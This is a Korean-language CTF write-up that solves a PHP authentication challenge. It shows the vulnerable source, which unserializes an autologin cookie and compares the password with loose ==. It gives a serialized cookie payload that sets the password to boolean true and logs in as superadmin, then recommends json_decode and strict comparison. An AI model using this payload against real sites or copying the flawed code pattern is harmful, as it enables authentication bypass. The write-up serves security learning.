-
PHP - SerializationHacking/CTF 문제 풀이 2025. 7. 11. 10:12728x90반응형
Working through problems
✅ Source Code
<?php define('INCLUDEOK', true); session_start(); if(isset($_GET['showsource'])){ show_source(__FILE__); die; } /******** AUTHENTICATION *******/ // login / passwords in a PHP array (sha256 for passwords) ! require_once('./passwd.inc.php'); if(!isset($_SESSION['login']) || !$_SESSION['login']) { $_SESSION['login'] = ""; // form posted ? if($_POST['login'] && $_POST['password']){ $data['login'] = $_POST['login']; $data['password'] = hash('sha256', $_POST['password']); } // autologin cookie ? else if($_COOKIE['autologin']){ $data = unserialize($_COOKIE['autologin']); $autologin = "autologin"; } // check password ! if ($data['password'] == $auth[ $data['login'] ] ) { $_SESSION['login'] = $data['login']; // set cookie for autologin if requested if($_POST['autologin'] === "1"){ setcookie('autologin', serialize($data)); } } else { // error message $message = "Error : $autologin authentication failed !"; } } /*********************************/ ?> <html> <head> <style> label { display: inline-block; width:150px; text-align:right; } input[type='password'], input[type='text'] { width: 120px; } </style> </head> <body> <h1>Restricted Access</h1> <?php // message ? if(!empty($message)) echo "<p><em>$message</em></p>"; // admin ? if($_SESSION['login'] === "superadmin"){ require_once('admin.inc.php'); } // user ? elseif (isset($_SESSION['login']) && $_SESSION['login'] !== ""){ require_once('user.inc.php'); } // not authenticated ? else { ?> <p>Demo mode with guest / guest !</p> <p><strong>superadmin says :</strong> New authentication mechanism without any database. <a href="index.php?showsource">Our source code is available here.</a></p> <form name="authentification" action="index.php" method="post"> <fieldset style="width:400px;"> <p> <label>Login :</label> <input type="text" name="login" value="" /> </p> <p> <label>Password :</label> <input type="password" name="password" value="" /> </p> <p> <label>Autologin next time :</label> <input type="checkbox" name="autologin" value="1" /> </p> <p style="text-align:center;"> <input type="submit" value="Authenticate" /> </p> </fieldset> </form> <?php } if(isset($_SESSION['login']) && $_SESSION['login'] !== ""){ echo "<p><a href='disconnect.php'>Disconnect</a></p>"; } ?> </body> </html>
분석 요약
1. 인증 흐름
if(!isset($_SESSION['login']) || !$_SESSION['login']) { // (1) 로그인 폼이 POST 되었는가? -> 함정 if($_POST['login'] && $_POST['password']) { $data['login'] = $_POST['login']; $data['password'] = hash('sha256', $_POST['password']); } // (2) autologin 쿠키가 존재하는가? else if($_COOKIE['autologin']) { $data = unserialize($_COOKIE['autologin']); $autologin = "autologin"; } // (3) 비밀번호 검증 if ($data['password'] == $auth[$data['login']]) { $_SESSION['login'] = $data['login']; ... } }
인증 경로는 크게 두 가지이며 이 중 autologin 쿠키에 의한 자동 로그인 로직이 우회 지점입니다.
2. 취약점 포인트 (PHP의 == 느슨한 비교)
코드 분석 결과 $auth[$data[’login’]]값은 알 수 없기 때문에 해당 취약점 포인트를 사용해야 합니다.
if ($data['password'] == $auth[$data['login']])
✅ 조건이 true가 되는 경우는 아래와 같습니다.
- PHP는 타입이 다른 값을 비교할 때 다음과 같이 자동 변환합니다.
비교 결과 설명
true == "something" true 문자열 "something"은 boolean으로 true true == "" true 빈 문자열은 false true == "0" false "0"은 false 즉 $data['password']에 boolean true가 들어가면 $auth[$data['login']]이 "0"이나 ""가 아니라면 우회가 가능합니다.
- 실전이 아닌 문제라는 걸 감안했을때 $auth[…] 결과가 “0” 또는 “” 일 가능성은 없습니다.
인증 우회 시나리오
- autologin 쿠키 생성
- 직렬화 결과 : a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}
- $payload = serialize([ 'login' => 'superadmin', 'password' => true // 핵심: boolean true ]);
- 서버 동작 흐름
- 서버는 쿠키 값을 unserialize()하여 $data에 할당
- $data['login'] === 'superadmin’
- $data['password'] === true
- true == "..." → true로 평가됩니다.
- $_SESSION['login'] = 'superadmin' → 인증 통과
- 우회 성공
- if ($_SESSION['login'] === "superadmin") { require_once('admin.inc.php'); }
대응 요약
1. unserialize() 사용 지양
조작 가능한 값에서 unserialize() 사용 시 타입 주입, 객체 주입 등의 보안 취약점 발생 가능합니다.
대응 방법 : json_encode() / json_decode() 사용
2. == 대신 === 또는 hash_equals() 사용
==는 타입 변환을 허용해 "password" => true 같은 우회가 가능합니다.
대응 방법 : 대응: === 또는 hash_equals()로 엄격 비교
728x90반응형'Hacking > CTF 문제 풀이' 카테고리의 다른 글
XPath injection - Authentication (0) 2025.07.12 CRLF (0) 2025.07.10 File upload - Double extensions (0) 2025.07.09 File upload - MIME type (0) 2025.07.08 Nginx - Root Location Misconfiguration (0) 2025.07.07